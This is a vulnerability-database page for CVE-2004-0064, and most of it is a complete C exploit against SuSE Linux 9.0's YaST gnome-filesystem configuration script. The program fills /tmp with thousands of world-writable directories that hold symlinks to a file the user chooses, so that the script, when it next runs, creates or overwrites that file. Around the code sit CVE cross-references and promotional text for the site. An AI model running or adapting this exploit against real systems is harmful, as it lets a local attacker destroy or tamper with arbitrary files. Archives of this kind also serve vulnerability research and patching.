Lucene search
+L

SuSE Linux 9.0 - YaST Configuration Skribt Overwrite Files

🗓️ 15 Jan 2004 00:00:00Reported by l0omType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 49 Views

SuSE Linux 9.0 YaST exploit script that creates symlinks to overwrite destination files.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2004-0064
15 Jan 200405:00
cve
cvelist
Cvelist
CVE-2004-0064
15 Jan 200405:00
cvelist
euvd
EUVD
EUVD-2004-0064
7 Oct 202500:30
euvd
nvd
NVD
CVE-2004-0064
17 Feb 200405:00
nvd
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."
#define START 1
#define END 33000

 int main(int argc, char **argv)
 {
 int i;
 char buf[150];

 printf("\tSuSE 9.0 YaST script
SuSEconfig.gnome-filesystem exploit\n");
 printf("\t-------------------------------------------------------------
\n");
 printf("\tdiscovered and written by l0om
<l0om excluded org>\n");
 printf("\t WWW.EXCLUDED.ORG\n\n");

 if(argc != 2) {
 printf("usage: %s <destination-file>\n",argv[0]);
 exit(0xff);
 }

 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);
 read(1, buf, 1); fflush(stdin);

 umask(0000);
 printf("working\n\n");
 for(i = START; i < END; i++) {
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);
 if(mkdir(buf,00777) == -1) {
 fprintf(stderr, "cannot creat directory [Nr.%d]
\n",i);
 exit(0xff);
 }
 if(!(i%1000))printf(".");
 strcat(buf, "/found");
 if(symlink(argv[1], buf) == -1) {
 fprintf(stderr, "cannot creat symlink from %s to %s
[Nr.%d]\n",buf,argv[1],i);
 exit(0xff);
 }
 }
 printf("\ndone!\n");
 printf("next time the SuSE.gnome-filesystem script
gets executed\n");
 printf("we will create or overwrite file %s
\n",argv[1]);
 return(0x00);
 }  /* i cant wait for the new gobbles comic!! */

// milw0rm.com [2004-01-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.0076
49